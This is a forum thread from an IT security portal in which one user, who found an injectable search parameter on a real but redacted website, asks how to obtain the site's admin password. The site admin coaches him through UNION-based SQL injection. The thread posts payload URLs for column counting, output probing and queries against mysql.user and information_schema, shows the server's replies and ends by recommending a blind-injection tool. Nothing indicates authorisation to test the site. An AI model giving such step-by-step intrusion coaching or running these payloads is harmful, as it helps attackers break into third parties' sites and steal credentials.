Waraxe IT Security Portal
Login or Register
October 20, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 151
Members: 0
Total: 151
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> xss? Goto page 1, 2, 3, 4Next
Post new topicReply to topic View previous topic :: View next topic
xss?
PostPosted: Fri Nov 07, 2008 10:46 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




hello .. i found a site with xss vuln..
http://xxxxxxxx.com/index.php?mode=search&content=>'><ScRiPt%20%0a%0d>alert(399090183581)%3B</ScRiPt>

i get:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '>\'>' at line 1

and a popup:
399090183581

well can anybody help on how getting admin's pass..?

thx in advance
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 1:32 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You have sql injection here. Getting admin password ... maybe ... but that's not so easy.
First try to get syntax right. Try:

Code:

index.php?mode=search&content='--+


Code:

index.php?mode=search&content=')--+


Code:

index.php?mode=search&content='))--+


Please post here possible error messages and other possible feedback, then i will show you next step Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 3:06 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




http://www.xxxxxxx.com/index.php?mode=search&content='--+
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'--' at line 1


http://www.xxxxxxx.com/index.php?mode=search&content=')--+
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\')--' at line 1


http://www.xxxxxxx.com/index.php?mode=search&content='))--+
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'))--' at line 1
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 3:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Hmm, try this:

Code:

index.php?mode=search&content=-1--+


Code:

index.php?mode=search&content=-1+OR+1=1--+


By the way, how does look like "content" in original query? Numeric?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 3:11 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




those open a page in a website....
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 3:32 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, now this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 5:59 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




I was just wondering if he can inject php code into the page?

index.php?mode=search&content=>'>phpinfo()

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Sat Nov 08, 2008 12:02 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




waraxe wrote:
OK, now this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1--+


Code:
The used SELECT statements have a different number of columns
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 12:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, it's getting better Smile
Next you need to find out exact column count

Code:

index.php?mode=search&content=-1+UNION+SELECT+1,2--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,2,3--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,2,3,4--+


Follow this pattern, till there is no "different number of columns". This number can be big, even > 50 Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 12:25 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




done .. at:
Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--+
it displays the website Smile
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 12:30 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, now you need visual feedback. Try:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1111,2222,3333,4444,5555,6666,7777,8888,9999,101010--+


Look at resulting webpage and look for those numbers. Use "CTRL+F" search if needed. And finally look at source, if there are no visual feedback.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 12:36 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




i cant find the numbers on the site .. i find them in the source code..
Code:
<table width="460" border="0" cellspacing="1" cellpadding="1">
<tr>
<td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
« Προγούμενο 1 | <a href="/index.php?pageNum_searchresults=1&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">2</a> | <a href="/index.php?pageNum_searchresults=2&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">3</a> | <a href="/index.php?pageNum_searchresults=3&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">4</a> | <a href="/index.php?pageNum_searchresults=4&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">5</a> | <a href="/index.php?pageNum_searchresults=5&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">6</a> | <a href="/index.php?pageNum_searchresults=6&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">7</a> | <a href="/index.php?pageNum_searchresults=7&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">8</a> | <a href="/index.php?pageNum_searchresults=8&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">9</a> | <a href="/index.php?pageNum_searchresults=9&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">10</a> <a href="/index.php?pageNum_searchresults=1&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">Επόμενο »</a></font></div></td>

</tr>
</table>
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 12:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If there is no visual feedback, then it's more difficult to exploit. Try this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a--+



Look at source code and search for "xyz". Some other tests:

Code:

http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+name,2,3,4,5,6,7,8,9,10+FROM+mysql.user--+



Code:

http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+table_name,2,3,4,5,6,7,8,9,10+FROM+information_schema.tables--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 12:51 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




Code:
index.php?mode=search&content=-1+UNION+SELECT+0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a--+


With this it displays it only as page title

Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+name,2,3,4,5,6,7,8,9,10+FROM+mysql.user--+


SELECT command denied to user 'megahz4'@'fusion.bpweb.net' for table 'user'

Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+table_name,2,3,4,5,6,7,8,9,10+FROM+information_schema.tables--+


SELECT command denied to user 'megahz4'@'fusion.bpweb.net' for table 'tables'
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 1:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So it's mysql < 5.0 and it's not easy to find out table names ...
Are you sure, that there was no "xyz" in source code? Becuse if you don't have visual feedback, then you must use blind sql injection methods and it means, that you need some program or script for this. My suggestion:

http://www.sqlpowerinjector.com/
View user's profile Send private message Send e-mail Visit poster's website
xss?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 4
Goto page 1, 2, 3, 4Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds